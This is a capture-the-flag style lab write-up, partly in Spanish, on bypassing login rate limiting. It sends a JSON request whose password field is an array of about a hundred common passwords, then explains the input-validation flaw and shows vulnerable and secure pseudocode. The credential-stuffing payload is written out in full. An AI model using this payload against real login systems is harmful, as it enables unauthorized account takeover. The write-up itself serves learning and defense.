← Writeups

13 Broken brute force protection, multiple credentials per request

The main POST request for login uses json, in this case we can bypass rate limiting by inserting the wordlist inside password object, thus we test multiple passwords on a single request.

{
    "username":"carlos",
    "password":[
        "123456",
        "password",
        "12345678",
        "qwerty",
        "123456789",
        "12345",
        "1234",
        "111111",
        "1234567",
        "dragon",
        "123123",
        "baseball",
        "abc123",
        "football",
        "monkey",
        "letmein",
        "shadow",
        "master",
        "666666",
        "qwertyuiop",
        "123321",
        "mustang",
        "1234567890",
        "michael",
        "654321",
        "superman",
        "1qaz2wsx",
        "7777777",
        "121212",
        "000000",
        "qazwsx",
        "123qwe",
        "killer",
        "trustno1",
        "jordan",
        "jennifer",
        "zxcvbnm",
        "asdfgh",
        "hunter",
        "buster",
        "soccer",
        "harley",
        "batman",
        "andrew",
        "tigger",
        "sunshine",
        "iloveyou",
        "2000",
        "charlie",
        "robert",
        "thomas",
        "hockey",
        "ranger",
        "daniel",
        "starwars",
        "klaster",
        "112233",
        "george",
        "computer",
        "michelle",
        "jessica",
        "pepper",
        "1111",
        "zxcvbn",
        "555555",
        "11111111",
        "131313",
        "freedom",
        "777777",
        "pass",
        "maggie",
        "159753",
        "aaaaaa",
        "ginger",
        "princess",
        "joshua",
        "cheese",
        "amanda",
        "summer",
        "love",
        "ashley",
        "nicole",
        "chelsea",
        "biteme",
        "matthew",
        "access",
        "yankees",
        "987654321",
        "dallas",
        "austin",
        "thunder",
        "taylor",
        "matrix",
        "mobilemail",
        "mom",
        "monitor",
        "monitoring",
        "montana",
        "moon",
        "moscow"
    ],
    "":""
}

La vulnerabilidad ocurre porque el backend no valida estrictamente el tipo de dato del campo password y acepta un arreglo en lugar de un string. En vez de rechazar la estructura inválida, el servidor procesa internamente cada elemento del array como intento independiente dentro de una sola request, permitiendo probar múltiples contraseñas sin incrementar el contador de rate limit por intento. El control de limitación está ligado al número de requests HTTP y no al número real de verificaciones de credenciales ejecutadas, lo que permite eludir la protección y realizar un bypass lógico del rate limiting. Es un caso de Improper Input Validation y Broken Brute-Force Protection según OWASP.

# Implementación vulnerable

# POST /login (JSON)
data = parse_json(request.body)

username = data.username
password = data.password   # ❌ Puede ser string o array

if is_array(password):
    for p in password:                 # ❌ Múltiples intentos en 1 request
        if valid_credentials(username, p):
            create_session(username)
            return success()

else:
    if valid_credentials(username, password):
        create_session(username)
        return success()

increment_rate_limit(request.ip)  # ❌ Solo 1 incremento por request
# Implementación segura

data = parse_json(request.body)

if not is_string(data.password):
    return error("Invalid input type")

if rate_limit_exceeded(username, request.ip):
    deny()

if valid_credentials(username, data.password):
    create_session(username)
else:
    increment_rate_limit(username, request.ip)
    return generic_error()